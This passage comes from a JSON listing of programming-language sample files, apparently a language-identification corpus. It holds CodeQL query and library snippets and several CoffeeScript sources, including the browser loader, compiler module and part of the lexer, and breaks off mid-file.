    "content": "/**\n * Source: https://github.com/Semmle/ql/blob/bd9a2d71bacfa94cc93ce6ab33dd4c7f8ce71050/csharp/ql/src/Linq/RedundantSelect.ql\n * License: Apache License 2.0\n */\n\nimport csharp\nimport Helpers\n\npredicate isIdentityFunction(AnonymousFunctionExpr afe) {\n  afe.getNumberOfParameters() = 1 and\n  afe.getExpressionBody() = afe.getParameter(0).getAnAccess()\n}\n\nfrom SelectCall sc\nwhere isIdentityFunction(sc.getFunctionExpr())\nselect sc, \"This LINQ selection is redundant and can be removed.\"\n"
  },
  {
    "path": "samples/CodeQL/qll-sample1.qll",
    "content": "/**\n * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/cpp/ql/src/semmle/code/cpp/models/implementations/Inet.qll\n * License: Apache License 2.0\n */\n\nimport semmle.code.cpp.models.interfaces.Taint\nimport semmle.code.cpp.models.interfaces.ArrayFunction\n\nclass InetNtoa extends TaintFunction {\n  InetNtoa() { hasGlobalName(\"inet_ntoa\") }\n\n  override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {\n    input.isParameter(0) and\n    output.isReturnValueDeref()\n  }\n}\n\nclass InetAton extends TaintFunction, ArrayFunction {\n  InetAton() { hasGlobalName(\"inet_aton\") }\n\n  override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {\n    input.isParameterDeref(0) and\n    output.isParameterDeref(1)\n  }\n\n  override predicate hasArrayInput(int bufParam) { bufParam = 0 }\n\n  override predicate hasArrayOutput(int bufParam) { bufParam = 1 }\n\n  override predicate hasArrayWithNullTerminator(int bufParam) { bufParam = 0 }\n\n  override predicate hasArrayWithFixedSize(int bufParam, int elemCount) {\n    bufParam = 1 and\n    elemCount = 1\n  }\n}\n"
  },
  {
    "path": "samples/CodeQL/qll-sample2.qll",
    "content": "/**\n * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/python/ql/src/semmle/python/objects/Classes.qll\n * License: Apache License 2.0\n */\n\nimport python\n\n\nprivate import semmle.python.objects.TObject\nprivate import semmle.python.objects.ObjectInternal\nprivate import semmle.python.pointsto.PointsTo\nprivate import semmle.python.pointsto.PointsToContext\nprivate import semmle.python.pointsto.MRO\nprivate import semmle.python.types.Builtins\n\n/** Class representing classes */\nabstract class ClassObjectInternal extends ObjectInternal {\n\n    override string getName() {\n        result = this.getClassDeclaration().getName()\n    }\n\n    /** Holds if this is a class whose instances we treat specially, rather than as a generic instance.\n     * For example, `type` or `int`.\n     */\n    boolean isSpecial() {\n        result = Types::getMro(this).containsSpecial()\n    }\n\n    /** Looks up the attribute `name` on this class.\n     * Note that this may be different from `this.attr(name)`.\n     * For example given the class:\n     * ```class C:\n     *        @classmethod\n     *        def f(cls): pass\n     * ```\n     * `this.lookup(\"f\")` is equivalent to `C.__dict__['f']`, which is the class-method\n     *  whereas\n     * `this.attr(\"f\") is equivalent to `C.f`, which is a bound-method.\n     */\n    abstract predicate lookup(string name, ObjectInternal value, CfgOrigin origin);\n\n    /** Holds if this is a subclass of the `Iterable` abstract base class. */\n    boolean isIterableSubclass() {\n        this = ObjectInternal::builtin(\"list\") and result = true\n        or\n        this = ObjectInternal::builtin(\"set\") and result = true\n        or\n        this = ObjectInternal::builtin(\"dict\") and result = true\n        or\n        this != ObjectInternal::builtin(\"list\") and\n        this != ObjectInternal::builtin(\"set\") and\n        this != ObjectInternal::builtin(\"dict\") and\n        result = false\n    }\n\n    override boolean isDescriptor() { result = false }\n\n    pragma [noinline] override predicate descriptorGetClass(ObjectInternal cls, ObjectInternal value, CfgOrigin origin) { none() }\n\n    pragma [noinline] override predicate descriptorGetInstance(ObjectInternal instance, ObjectInternal value, CfgOrigin origin) { none() }\n\n    pragma [noinline] override predicate binds(ObjectInternal instance, string name, ObjectInternal descriptor) {\n        instance = this and\n        PointsToInternal::attributeRequired(this, name) and\n        this.lookup(name, descriptor, _) and\n        descriptor.isDescriptor() = true\n    }\n\n    /** Approximation to descriptor protocol, skipping meta-descriptor protocol */\n    pragma [noinline] override predicate attribute(string name, ObjectInternal value, CfgOrigin origin) {\n        exists(ObjectInternal descriptor, CfgOrigin desc_origin |\n            this.lookup(name, descriptor, desc_origin) |\n            descriptor.isDescriptor() = false and\n            value = descriptor and origin = desc_origin\n            or\n            descriptor.isDescriptor() = true and\n            descriptor.descriptorGetClass(this, value, origin)\n        )\n    }\n\n    override int length() { none() }\n\n    override boolean booleanValue() { result = true }\n\n    override boolean isClass() { result = true }\n\n    override int intValue() {\n        none()\n    }\n\n    override string strValue() {\n        none()\n    }\n\n    override predicate subscriptUnknown() { none() }\n\n    override predicate contextSensitiveCallee() { none() }\n\n    override predicate useOriginAsLegacyObject() { none() }\n\n    /* Classes aren't usually iterable, but can e.g. Enums */\n    override ObjectInternal getIterNext() { result = ObjectInternal::unknown() }\n\n    override predicate hasAttribute(string name) {\n        this.getClassDeclaration().declaresAttribute(name)\n        or\n        Types::getBase(this, _).hasAttribute(name)\n    }\n\n    override predicate isNotSubscriptedType() { any() }\n\n}\n"
  },
  {
    "path": "samples/CodeQL/qll-sample3.qll",
    "content": "/**\n * Source: https://github.com/github/rasmuswl-temp-ql-clone/blob/5e1c8fe8c9c3505c35f7e032169bf56d71ea2bc7/python/ql/src/semmle/python/objects/Descriptors.qll\n * License: Apache License 2.0\n */\n\nprivate class PropertySetterOrDeleter extends ObjectInternal, TPropertySetterOrDeleter {\n\n    override string toString() {\n        result = this.getProperty().toString() + \".\" + this.getName()\n    }\n\n    override string getName() {\n        this = TPropertySetterOrDeleter(_, result)\n    }\n\n    PropertyInternal getProperty() {\n        this = TPropertySetterOrDeleter(result, _)\n    }\n\n    override predicate callResult(ObjectInternal obj, CfgOrigin origin) {\n        exists(ControlFlowNode call |\n            obj = this.getProperty() and obj = TProperty(call, _, _) and\n            origin = CfgOrigin::fromCfgNode(call)\n        )\n    }\n\n    override predicate introducedAt(ControlFlowNode node, PointsToContext context) {\n        none()\n    }\n\n    override ClassDecl getClassDeclaration() { none() }\n\n    override boolean isClass() { result = false }\n\n    override ObjectInternal getClass() {\n       result = TBuiltinClassObject(Builtin::special(\"MethodType\"))\n    }\n\n    override predicate notTestableForEquality() { none() }\n\n    override Builtin getBuiltin() { none() }\n\n    override ControlFlowNode getOrigin() { none() }\n\n    override predicate callResult(PointsToContext callee, ObjectInternal obj, CfgOrigin origin) { none() }\n\n    override int intValue() { none() }\n\n    override string strValue() { none() }\n\n    override boolean booleanValue() { result = true }\n\n    override predicate calleeAndOffset(Function scope, int paramOffset) { none() }\n\n    override predicate attribute(string name, ObjectInternal value, CfgOrigin origin) { none() }\n\n    override predicate attributesUnknown() { none() }\n\n    override predicate subscriptUnknown() { none() }\n\n    override boolean isDescriptor() { result = true }\n\n    override int length() { none() }\n\n    override predicate binds(ObjectInternal cls, string name, ObjectInternal descriptor) { none() }\n\n    override predicate contextSensitiveCallee() { none() }\n\n    override ObjectInternal getIterNext() { none() }\n\n    override predicate descriptorGetClass(ObjectInternal cls, ObjectInternal value, CfgOrigin origin) { none() }\n\n    override predicate descriptorGetInstance(ObjectInternal instance, ObjectInternal value, CfgOrigin origin) { none() }\n\n    override predicate useOriginAsLegacyObject() { none() }\n\n    override predicate isNotSubscriptedType() { any() }\n\n}\n"
  },
  {
    "path": "samples/CodeQL/tree-sitter-sample.ql",
    "content": "/**\n * Sample taken from a tree-sitter-ql example.\n * Source: https://github.com/tree-sitter/tree-sitter-ql/blob/updated-ql-grammar/examples/002.ql\n * License: MIT\n */\n\nprivate predicate foo(F f){\n  f = f\n}\n\nint predicateWithResult(){\n  result = 43\n}\n\nclass A extends int {\n  A() {\n    this = -1\n  }\n}\n\nselect (A)-1\n"
  },
  {
    "path": "samples/CoffeeScript/browser.coffee",
    "content": "# Override exported methods for non-Node.js engines.\n\nCoffeeScript = require './coffee-script'\nCoffeeScript.require = require\n\n# Use standard JavaScript `eval` to eval code.\nCoffeeScript.eval = (code, options = {}) ->\n  options.bare ?= on\n  eval CoffeeScript.compile code, options\n\n# Running code does not provide access to this scope.\nCoffeeScript.run = (code, options = {}) ->\n  options.bare = on\n  Function(CoffeeScript.compile code, options)()\n\n# If we're not in a browser environment, we're finished with the public API.\nreturn unless window?\n\n# Load a remote script from the current domain via XHR.\nCoffeeScript.load = (url, callback) ->\n  xhr = new (window.ActiveXObject or XMLHttpRequest)('Microsoft.XMLHTTP')\n  xhr.open 'GET', url, true\n  xhr.overrideMimeType 'text/plain' if 'overrideMimeType' of xhr\n  xhr.onreadystatechange = ->\n    if xhr.readyState is 4\n      if xhr.status in [0, 200]\n        CoffeeScript.run xhr.responseText\n      else\n        throw new Error \"Could not load #{url}\"\n      callback() if callback\n  xhr.send null\n\n# Activate CoffeeScript in the browser by having it compile and evaluate\n# all script tags with a content-type of `text/coffeescript`.\n# This happens on page load.\nrunScripts = ->\n  scripts = document.getElementsByTagName 'script'\n  coffees = (s for s in scripts when s.type is 'text/coffeescript')\n  index = 0\n  length = coffees.length\n  do execute = ->\n    script = coffees[index++]\n    if script?.type is 'text/coffeescript'\n      if script.src\n        CoffeeScript.load script.src, execute\n      else\n        CoffeeScript.run script.innerHTML\n        execute()\n  null\n\n# Listen for window load, both in browsers and in IE.\nif window.addEventListener\n  addEventListener 'DOMContentLoaded', runScripts, no\nelse\n  attachEvent 'onload', runScripts\n"
  },
  {
    "path": "samples/CoffeeScript/build.cake",
    "content": "fs = require 'fs'\n\n{print} = require 'sys'\n{spawn} = require 'child_process'\n\nbuild = (callback) ->\n\tcoffee = spawn 'coffee', ['-c', '-o', '.', '.']\n\tcoffee.stderr.on 'data', (data) ->\n\t\tprocess.stderr.write data.toString()\n\tcoffee.stdout.on 'data', (data) ->\n\t\tprint data.toString()\n\tcoffee.on 'exit', (code) ->\n\t\tcallback?() if code is 0\n\ntask 'build', 'Build from source',  ->\n\tbuild() \n\t"
  },
  {
    "path": "samples/CoffeeScript/classes.coffee",
    "content": "class Animal\n  constructor: (@name) ->\n\n  move: (meters) ->\n    alert @name + \" moved \" + meters + \"m.\"\n\nclass Snake extends Animal\n  move: ->\n    alert \"Slithering...\"\n    super 5\n\nclass Horse extends Animal\n  move: ->\n    alert \"Galloping...\"\n    super 45\n\nsam = new Snake \"Sammy the Python\"\ntom = new Horse \"Tommy the Palomino\"\n\nsam.move()\ntom.move()\n"
  },
  {
    "path": "samples/CoffeeScript/coffee-script.coffee",
    "content": "# CoffeeScript can be used both on the server, as a command-line compiler based\n# on Node.js/V8, or to run CoffeeScripts directly in the browser. This module\n# contains the main entry functions for tokenizing, parsing, and compiling\n# source CoffeeScript into JavaScript.\n#\n# If included on a webpage, it will automatically sniff out, compile, and\n# execute all scripts present in `text/coffeescript` tags.\n\nfs               = require 'fs'\npath             = require 'path'\n{Lexer,RESERVED} = require './lexer'\n{parser}         = require './parser'\nvm               = require 'vm'\n\n# TODO: Remove registerExtension when fully deprecated.\nif require.extensions\n  require.extensions['.coffee'] = (module, filename) ->\n    content = compile fs.readFileSync(filename, 'utf8'), {filename}\n    module._compile content, filename\nelse if require.registerExtension\n  require.registerExtension '.coffee', (content) -> compile content\n\n# The current CoffeeScript version number.\nexports.VERSION = '1.3.3'\n\n# Words that cannot be used as identifiers in CoffeeScript code\nexports.RESERVED = RESERVED\n\n# Expose helpers for testing.\nexports.helpers = require './helpers'\n\n# Compile a string of CoffeeScript code to JavaScript, using the Coffee/Jison\n# compiler.\nexports.compile = compile = (code, options = {}) ->\n  {merge} = exports.helpers\n  try\n    js = (parser.parse lexer.tokenize code).compile options\n    return js unless options.header\n  catch err\n    err.message = \"In #{options.filename}, #{err.message}\" if options.filename\n    throw err\n  header = \"Generated by CoffeeScript #{@VERSION}\"\n  \"// #{header}\\n#{js}\"\n\n# Tokenize a string of CoffeeScript code, and return the array of tokens.\nexports.tokens = (code, options) ->\n  lexer.tokenize code, options\n\n# Parse a string of CoffeeScript code or an array of lexed tokens, and\n# return the AST. You can then compile it by calling `.compile()` on the root,\n# or traverse it by using `.traverseChildren()` with a callback.\nexports.nodes = (source, options) ->\n  if typeof source is 'string'\n    parser.parse lexer.tokenize source, options\n  else\n    parser.parse source\n\n# Compile and execute a string of CoffeeScript (on the server), correctly\n# setting `__filename`, `__dirname`, and relative `require()`.\nexports.run = (code, options = {}) ->\n  mainModule = require.main\n\n  # Set the filename.\n  mainModule.filename = process.argv[1] =\n      if options.filename then fs.realpathSync(options.filename) else '.'\n\n  # Clear the module cache.\n  mainModule.moduleCache and= {}\n\n  # Assign paths for node_modules loading\n  mainModule.paths = require('module')._nodeModulePaths path.dirname fs.realpathSync options.filename\n\n  # Compile.\n  if path.extname(mainModule.filename) isnt '.coffee' or require.extensions\n    mainModule._compile compile(code, options), mainModule.filename\n  else\n    mainModule._compile code, mainModule.filename\n\n# Compile and evaluate a string of CoffeeScript (in a Node.js-like environment).\n# The CoffeeScript REPL uses this to run the input.\nexports.eval = (code, options = {}) ->\n  return unless code = code.trim()\n  Script = vm.Script\n  if Script\n    if options.sandbox?\n      if options.sandbox instanceof Script.createContext().constructor\n        sandbox = options.sandbox\n      else\n        sandbox = Script.createContext()\n        sandbox[k] = v for own k, v of options.sandbox\n      sandbox.global = sandbox.root = sandbox.GLOBAL = sandbox\n    else\n      sandbox = global\n    sandbox.__filename = options.filename || 'eval'\n    sandbox.__dirname  = path.dirname sandbox.__filename\n    # define module/require only if they chose not to specify their own\n    unless sandbox isnt global or sandbox.module or sandbox.require\n      Module = require 'module'\n      sandbox.module  = _module  = new Module(options.modulename || 'eval')\n      sandbox.require = _require = (path) ->  Module._load path, _module, true\n      _module.filename = sandbox.__filename\n      _require[r] = require[r] for r in Object.getOwnPropertyNames require when r isnt 'paths'\n      # use the same hack node currently uses for their own REPL\n      _require.paths = _module.paths = Module._nodeModulePaths process.cwd()\n      _require.resolve = (request) -> Module._resolveFilename request, _module\n  o = {}\n  o[k] = v for own k, v of options\n  o.bare = on # ensure return value\n  js = compile code, o\n  if sandbox is global\n    vm.runInThisContext js\n  else\n    vm.runInContext js, sandbox\n\n# Instantiate a Lexer for our use here.\nlexer = new Lexer\n\n# The real Lexer produces a generic stream of tokens. This object provides a\n# thin wrapper around it, compatible with the Jison API. We can then pass it\n# directly as a \"Jison lexer\".\nparser.lexer =\n  lex: ->\n    [tag, @yytext, @yylineno] = @tokens[@pos++] or ['']\n    tag\n  setInput: (@tokens) ->\n    @pos = 0\n  upcomingInput: ->\n    \"\"\n\nparser.yy = require './nodes'\n"
  },
  {
    "path": "samples/CoffeeScript/example.cjsx",
    "content": "###* @cjsx React.DOM ###\ndefine 'myProject.ReactExampleComponent', [\n  'React'\n  'myProject.ExampleStore'\n  'myProject.ExampleActions'\n  'myProject.ReactExampleTable'\n], (React, ExampleStore, ExampleActions, ReactExampleTable ) ->\n\n  ReactExampleComponent = React.createClass\n    mixins: [ListenMixin]\n\n    getInitialState: ->\n      rows: ExampleStore.getRows()\n      meta: ExampleStore.getMeta()\n\n    componentWillMount: ->\n      @listenTo ExampleStore\n\n    componentDidMount: ->\n      ExampleActions.getExampleData()\n\n    onStoreChange: ->\n      if this.isMounted()\n        @setState\n          rows: ExampleStore.getRows()\n          meta: ExampleStore.getMeta()\n\n    componentWillUnmount: ->\n      @stopListening ExampleStore\n\n    render: ->\n      <div className=\"page-wrap\">\n          <header>\n            <strong> {@state.title} </strong>\n          <header>\n            <ReactExampleTable\n              rows={@state.rows},\n              meta={@state.meta}\n            />\n      </div>\n"
  },
  {
    "path": "samples/CoffeeScript/hello.coffee",
    "content": "console.log \"Hello, World!\"\n"
  },
  {
    "path": "samples/CoffeeScript/intro.coffee",
    "content": "# Assignment:\nnumber   = 42\nopposite = true\n\n# Conditions:\nnumber = -42 if opposite\n\n# Functions:\nsquare = (x) -> x * x\n\n# Arrays:\nlist = [1, 2, 3, 4, 5]\n\n# Objects:\nmath =\n  root:   Math.sqrt\n  square: square\n  cube:   (x) -> x * square x\n\n# Splats:\nrace = (winner, runners...) ->\n  print winner, runners\n\n# Existence:\nalert \"I knew it!\" if elvis?\n\n# Array comprehensions:\ncubes = (math.cube num for num in list)\n"
  },
  {
    "path": "samples/CoffeeScript/lexer.coffee",
    "content": "# The CoffeeScript Lexer. Uses a series of token-matching regexes to attempt\n# matches against the beginning of the source code. When a match is found,\n# a token is produced, we consume the match, and start again. Tokens are in the\n# form:\n#\n#     [tag, value, lineNumber]\n#\n# Which is a format that can be fed directly into [Jison](http://github.com/zaach/jison).\n\n{Rewriter, INVERSES} = require './rewriter'\n\n# Import the helpers we need.\n{count, starts, compact, last} = require './helpers'\n\n# The Lexer Class\n# ---------------\n\n# The Lexer class reads a stream of CoffeeScript and divvies it up into tagged\n# tokens. Some potential ambiguity in the grammar has been avoided by\n# pushing some extra smarts into the Lexer.\nexports.Lexer = class Lexer\n\n  # **tokenize** is the Lexer's main method. Scan by attempting to match tokens\n  # one at a time, using a regular expression anchored at the start of the\n  # remaining code, or a custom recursive token-matching method\n  # (for interpolations). When the next token has been recorded, we move forward\n  # within the code past the token, and begin again.\n  #\n  # Each tokenizing method is responsible for returning the number of characters\n  # it has consumed.\n  #\n  # Before returning the token stream, run it through the [Rewriter](rewriter.html)\n  # unless explicitly asked not to.\n  tokenize: (code, opts = {}) ->\n    code     = \"\\n#{code}\" if WHITESPACE.test code\n    code     = code.replace(/\\r/g, '').replace TRAILING_SPACES, ''\n\n    @code    = code           # The remainder of the source code.\n    @line    = opts.line or 0 # The current line.\n    @indent  = 0              # The current indentation level.\n    @indebt  = 0              # The over-indentation at the current level.\n    @outdebt = 0              # The under-outdentation at the current level.\n    @indents = []             # The stack of all current indentation levels.\n    @ends    = []             # The stack for pairing up tokens.\n    @tokens  = []             # Stream of parsed tokens in the form `['TYPE', value, line]`.\n\n    # At every position, run through this list of attempted matches,\n    # short-circuiting if any of them succeed. Their order determines precedence:\n    # `@literalToken` is the fallback catch-all.\n    i = 0\n    while @chunk = code[i..]\n      i += @identifierToken() or\n           @commentToken()    or\n           @whitespaceToken() or\n           @lineToken()       or\n           @heredocToken()    or\n           @stringToken()     or\n           @numberToken()     or\n           @regexToken()      or\n           @jsToken()         or\n           @literalToken()\n\n    @closeIndentation()\n    @error \"missing #{tag}\" if tag = @ends.pop()\n    return @tokens if opts.rewrite is off\n    (new Rewriter).rewrite @tokens\n\n  # Tokenizers\n  # ----------\n\n  # Matches identifying literals: variables, keywords, method names, etc.\n  # Check to ensure that JavaScript reserved words aren't being used as\n  # identifiers. Because CoffeeScript reserves a handful of keywords that are\n  # allowed in JavaScript, we're careful not to tag them as keywords when\n  # referenced as property names here, so you can still do `jQuery.is()` even\n  # though `is` means `===` otherwise.\n  identifierToken: ->\n    return 0 unless match = IDENTIFIER.exec @chunk\n    [input, id, colon] = match\n\n    if id is 'own' and @tag() is 'FOR'\n      @token 'OWN', id\n      return id.length\n    forcedIdentifier = colon or\n      (prev = last @tokens) and (prev[0] in ['.', '?.', '::'] or\n      not prev.spaced and prev[0] is '@')\n    tag = 'IDENTIFIER'\n\n    if not forcedIdentifier and (id in JS_KEYWORDS or id in COFFEE_KEYWORDS)\n      tag = id.toUpperCase()\n      if tag is 'WHEN' and @tag() in LINE_BREAK\n        tag = 'LEADING_WHEN'\n      else if tag is 'FOR'\n        @seenFor = yes\n      else if tag is 'UNLESS'\n        tag = 'IF'\n      else if tag in UNARY\n        tag = 'UNARY'\n      else if tag in RELATION\n        if tag isnt 'INSTANCEOF' and @seenFor\n          tag = 'FOR' + tag\n          @seenFor = no\n        else\n          tag = 'RELATION'\n          if @value() is '!'\n            @tokens.pop()\n            id = '!' + id\n\n    if id in JS_FORBIDDEN\n      if forcedIdentifier\n        tag = 'IDENTIFIER'\n        id  = new String id\n        id.reserved = yes\n      else if id in RESERVED\n        @error \"reserved word \\\"#{id}\\\"\"\n\n    unless forcedIdentifier\n      id  = COFFEE_ALIAS_MAP[id] if id in COFFEE_ALIASES\n      tag = switch id\n        when '!'                 then 'UNARY'\n        when '==', '!='          then 'COMPARE'\n        when '&&', '||'          then 'LOGIC'\n        when 'true', 'false'     then 'BOOL'\n        when 'break', 'continue' then 'STATEMENT'\n        else  tag\n\n    @token tag, id\n    @token ':', ':' if colon\n    input.length\n\n  # Matches numbers, including decimals, hex, and exponential notation.\n  # Be careful not to interfere with ranges-in-progress.\n  numberToken: ->\n    return 0 unless match = NUMBER.exec @chunk\n    number = match[0]\n    if /^0[BOX]/.test number\n      @error \"radix prefix '#{number}' must be lowercase\"\n    else if /E/.test(number) and not /^0x/.test number\n      @error \"exponential notation '#{number}' must be indicated with a lowercase 'e'\"\n    else if /^0\\d*[89]/.test number\n      @error \"decimal literal '#{number}' must not be prefixed with '0'\"\n    else if /^0\\d+/.test number\n      @error \"octal literal '#{number}' must be prefixed with '0o'\"\n    lexedLength = number.length\n    if octalLiteral = /^0o([0-7]+)/.exec number\n      number = '0x' + (parseInt octalLiteral[1], 8).toString 16\n    if binaryLiteral = /^0b([01]+)/.exec number\n      number = '0x' + (parseInt binaryLiteral[1], 2).toString 16\n    @token 'NUMBER', number\n    lexedLength\n\n  # Matches strings, including multi-line strings. Ensures that quotation marks\n  # are balanced within the string's contents, and within nested interpolations.\n  stringToken: ->\n    switch @chunk.charAt 0\n      when \"'\"\n        return 0 unless match = SIMPLESTR.exec @chunk\n        @token 'STRING', (string = match[0]).replace MULTILINER, '\\\\\\n'\n      when '\"'\n        return 0 unless string = @balancedString @chunk, '\"'\n        if 0 < string.indexOf '#{', 1\n          @interpolateString string[1...-1]\n        else\n          @token 'STRING', @escapeLines string\n      else\n        return 0\n    if octalEsc = /^(?:\\\\.|[^\\\\])*\\\\(?:0[0-7]|[1-7])/.test string\n      @error \"octal escape sequences #{string} are not allowed\"\n    @line += count string, '\\n'\n    string.length\n\n  # Matches heredocs, adjusting indentation to the correct level, as heredocs\n  # preserve whitespace, but ignore indentation to the left.\n  heredocToken: ->\n    return 0 unless match = HEREDOC.exec @chunk\n    heredoc = match[0]\n    quote = heredoc.charAt 0\n    doc = @sanitizeHeredoc match[2], quote: quote, indent: null\n    if quote is '\"' and 0 <= doc.indexOf '#{'\n      @interpolateString doc, heredoc: yes\n    else\n      @token 'STRING', @makeString doc, quote, yes\n    @line += count heredoc, '\\n'\n    heredoc.length\n\n  # Matches and consumes comments.\n  commentToken: ->\n    return 0 unless match = @chunk.match COMMENT\n    [comment, here] = match\n    if here\n      @token 'HERECOMMENT', @sanitizeHeredoc here,\n        herecomment: true, indent: Array(@indent + 1).join(' ')\n    @line += count comment, '\\n'\n    comment.length\n\n  # Matches JavaScript interpolated directly into the source via backticks.\n  jsToken: ->\n    return 0 unless @chunk.charAt(0) is '`' and match = JSTOKEN.exec @chunk\n    @token 'JS', (script = match[0])[1...-1]\n    script.length\n\n  # Matches regular expression literals. Lexing regular expressions is difficult\n  # to distinguish from division, so we borrow some basic heuristics from\n  # JavaScript and Ruby.\n  regexToken: ->\n    return 0 if @chunk.charAt(0) isnt '/'\n    if match = HEREGEX.exec @chunk\n      length = @heregexToken match\n      @line += count match[0], '\\n'\n      return length\n\n    prev = last @tokens\n    return 0 if prev and (prev[0] in (if prev.spaced then NOT_REGEX else NOT_SPACED_REGEX))\n    return 0 unless match = REGEX.exec @chunk\n    [match, regex, flags] = match\n    if regex[..1] is '/*' then @error 'regular expressions cannot begin with `*`'\n    if regex is '//' then regex = '/(?:)/'\n    @token 'REGEX', \"#{regex}#{flags}\"\n    match.length\n\n  # Matches multiline extended regular expressions.\n  heregexToken: (match) ->\n    [heregex, body, flags] = match\n    if 0 > body.indexOf '#{'\n      re = body.replace(HEREGEX_OMIT, '').replace(/\\//g, '\\\\/')\n      if re.match /^\\*/ then @error 'regular expressions cannot begin with `*`'\n      @token 'REGEX', \"/#{ re or '(?:)' }/#{flags}\"\n      return heregex.length\n    @token 'IDENTIFIER', 'RegExp'\n    @tokens.push ['CALL_START', '(']\n    tokens = []\n    for [tag, value] in @interpolateString(body, regex: yes)\n      if tag is 'TOKENS'\n        tokens.push value...\n      else\n        continue unless value = value.replace HEREGEX_OMIT, ''\n        value = value.replace /\\\\/g, '\\\\\\\\'\n        tokens.push ['STRING', @makeString(value, '\"', yes)]\n      tokens.push ['+', '+']\n    tokens.pop()\n    @tokens.push ['STRING', '\"\"'], ['+', '+'] unless tokens[0]?[0] is 'STRING'\n    @tokens.push tokens...\n    @tokens.push [',', ','], ['STRING', '\"' + flags + '\"'] if flags\n    @token ')', ')'\n    heregex.length\n\n  # Matches newlines, indents, and outdents, and determines which is which.\n  # If we can detect that the current line is continued onto the the next line,\n  # then the newline is suppressed:\n  #\n  #     elements\n  #       .each( ... )\n  #       .map( ... )\n  #\n  # Keeps track of the level of indentation, because a single outdent token\n  # can close multiple indents, so we need to know how far in we happen to be.\n  lineToken: ->\n    return 0 unless match = MULTI_DENT.exec @chunk\n    indent = match[0]\n    @line += count indent, '\\n'\n    @seenFor = no\n    size = indent.length - 1 - indent.lastIndexOf '\\n'\n    noNewlines = @unfinished()\n    if size - @indebt is @indent\n      if noNewlines then @suppressNewlines() else @newlineToken()\n      return indent.length\n    if size > @indent\n      if noNewlines\n        @indebt = size - @indent\n        @suppressNewlines()\n        return indent.length\n      diff = size - @indent + @outdebt\n      @token 'INDENT', diff\n      @indents.push diff\n      @ends.push 'OUTDENT'\n      @outdebt = @indebt = 0\n    else\n      @indebt = 0\n      @outdentToken @indent - size, noNewlines\n    @indent = size\n    indent.length\n\n  # Record an outdent token or multiple tokens, if we happen to be moving back\n  # inwards past several recorded indents.\n  outdentToken: (moveOut, noNewlines) ->\n    while moveOut > 0\n      len = @indents.length - 1\n      if @indents[len] is undefined\n        moveOut = 0\n      else if @indents[len] is @outdebt\n        moveOut -= @outdebt\n        @outdebt = 0\n      else if @indents[len] < @outdebt\n        @outdebt -= @indents[len]\n        moveOut  -= @indents[len]\n      else\n        dent = @indents.pop() - @outdebt\n        moveOut -= dent\n        @outdebt = 0\n        @pair 'OUTDENT'\n        @token 'OUTDENT', dent\n    @outdebt -= moveOut if dent\n    @tokens.pop() while @value() is ';'\n    @token 'TERMINATOR', '\\n' unless @tag() is 'TERMINATOR' or noNewlines\n    this\n\n  # Matches and consumes non-meaningful whitespace. Tag the previous token\n  # as being \"spaced\", because there are some cases where it makes a difference.\n  whitespaceToken: ->\n    return 0 unless (match = WHITESPACE.exec @chunk) or\n                    (nline = @chunk.charAt(0) is '\\n')\n    prev = last @tokens\n    prev[if match then 'spaced' else 'newLine'] = true if prev\n    if match then match[0].length else 0\n\n  # Generate a newline token. Consecutive newlines get merged together.\n  newlineToken: ->\n    @tokens.pop() while @value() is ';'\n    @token 'TERMINATOR', '\\n' unless @tag() is 'TERMINATOR'\n    this\n\n  # Use a `\\` at a line-ending to suppress the newline.\n  # The slash is removed here once its job is done.\n  suppressNewlines: ->\n    @tokens.pop() if @value() is '\\\\'\n    this\n\n  # We treat all other single characters as a token. E.g.: `( ) , . !`\n  # Multi-character operators are also literal tokens, so that Jison can assign\n  # the proper order of operations. There are some symbols that we tag specially\n  # here. `;` and newlines are both treated as a `TERMINATOR`, we distinguish\n  # parentheses that indicate a method call from regular parentheses, and so on.\n  literalToken: ->\n    if match = OPERATOR.exec @chunk\n      [value] = match\n      @tagParameters() if CODE.test value\n    else\n      value = @chunk.charAt 0\n    tag  = value\n    prev = last @tokens\n    if value is '=' and prev\n      if not prev[1].reserved and prev[1] in JS_FORBIDDEN\n        @error \"reserved word \\\"#{@value()}\\\" can't be assigned\"\n      if prev[1] in ['||', '&&']\n        prev[0] = 'COMPOUND_ASSIGN'\n        prev[1] += '='\n        return value.length\n    if value is ';'\n      @seenFor = no\n      tag = 'TERMINATOR'\n    else if value in MATH            then tag = 'MATH'\n    else if value in COMPARE         then tag = 'COMPARE'\n    else if value in COMPOUND_ASSIGN then tag = 'COMPOUND_ASSIGN'\n    else if value in UNARY           then tag = 'UNARY'\n    else if value in SHIFT           then tag = 'SHIFT'\n    else if value in LOGIC or value is '?' and prev?.spaced then tag = 'LOGIC'\n    else if prev and not prev.spaced\n      if value is '(' and prev[0] in CALLABLE\n        prev[0] = 'FUNC_EXIST' if prev[0] is '?'\n        tag = 'CALL_START'\n      else if value is '[' and prev[0] in INDEXABLE\n        tag = 'INDEX_START'\n        switch prev[0]\n          when '?'  then prev[0] = 'INDEX_SOAK'\n    switch value\n      when '(', '{', '[' then @ends.push INVERSES[value]\n      when ')', '}', ']' then @pair value\n    @token tag, value\n    value.length\n\n  # Token Manipulators\n  # ------------------\n\n  # Sanitize a heredoc or herecomment by\n  # erasing all external indentation on the left-hand side.\n  sanitizeHeredoc: (doc, options) ->\n    {indent, herecomment} = options\n    if herecomment\n      if HEREDOC_ILLEGAL.test doc\n        @error \"block comment cannot contain \\\"*/\\\", starting\"\n      return doc if doc.indexOf('\\n') <= 0\n    else\n      while match = HEREDOC_INDENT.exec doc\n        attempt = match[1]\n        indent = attempt if indent is null or 0 < attempt.length < indent.length\n    doc = doc.replace /// \\n #{indent} ///g, '\\n' if indent\n    doc = doc.replace /^\\n/, '' unless herecomment\n    doc\n\n  # A source of ambiguity in our grammar used to be parameter lists in function\n  # definitions versus argument lists in function calls. Walk backwards, tagging\n  # parameters specially in order to make things easier for the parser.\n  tagParameters: ->\n    return this if @tag() isnt ')'\n    stack = []\n    {tokens} = this\n    i = tokens.length\n    tokens[--i][0] = 'PARAM_END'\n    while tok = tokens[--i]\n      switch tok[0]\n        when ')'\n          stack.push tok\n        when '(', 'CALL_START'\n          if stack.length then stack.pop()\n          else if tok[0] is '('\n            tok[0] = 'PARAM_START'\n            return this\n          else return this\n    this\n\n  # 